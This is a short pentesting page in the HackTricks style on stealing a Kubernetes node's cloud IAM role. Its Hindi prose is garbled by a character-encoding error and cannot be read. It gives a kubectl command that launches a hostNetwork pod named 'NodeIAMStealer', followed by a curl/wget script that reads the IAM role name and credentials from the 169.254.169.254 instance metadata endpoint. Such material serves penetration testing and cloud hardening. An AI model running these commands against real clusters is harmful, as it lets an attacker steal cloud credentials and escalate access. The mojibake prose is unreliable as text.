рдкрд┐рдЫрд▓рд╛ рдЕрдиреБрднрд╛рдЧ IAM Roles рдХреЛ pods рдХреЗ рд╕рд╛рде рдЪреБрд░рд╛рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдерд╛, рд▓реЗрдХрд┐рди рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ K8s рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рдПрдХ Node рдХреНрд▓рд╛рдЙрдб рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╣реЛрдЧрд╛ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ Node рдХреЗ рдкрд╛рд╕ рдПрдХ рдирдпрд╛ IAM рднреВрдорд┐рдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ K8s рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╕рднреА рдиреЛрдбреНрд╕ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╣реА IAM рднреВрдорд┐рдХрд╛ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рдкрд░ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╢рд╛рдпрдж рдЗрд╕рдХреЗ рд▓рд╛рдпрдХ рдирд╣реАрдВ рд╣реИ)ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдиреЛрдб рд╕реЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдиреЛрдб рдореЗрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (ssh рд╕рддреНрд░?) рдпрд╛ рдХрдо рд╕реЗ рдХрдо рдЙрд╕реА рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM рднреВрдорд┐рдХрд╛ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛

рдкрд╣рд▓реЗ рд╣рдордиреЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ рдХрд┐ рдкреЙрдбреНрд╕ рдХреЗ рд▓рд┐рдП IAM рднреВрдорд┐рдХрд╛рдПрдБ рдХреИрд╕реЗ рд╕рдВрд▓рдЧреНрди рдХрд░реЗрдВ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдиреЛрдб рдкрд░ рднрд╛рдЧрдХрд░ IAM рднреВрдорд┐рдХрд╛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реИред

рдЖрдк рдЕрдкрдиреЗ рдирдП рдореЗрд╣рдирдд рд╕реЗ рдХрдорд╛рдП рдЧрдП IAM рднреВрдорд┐рдХрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated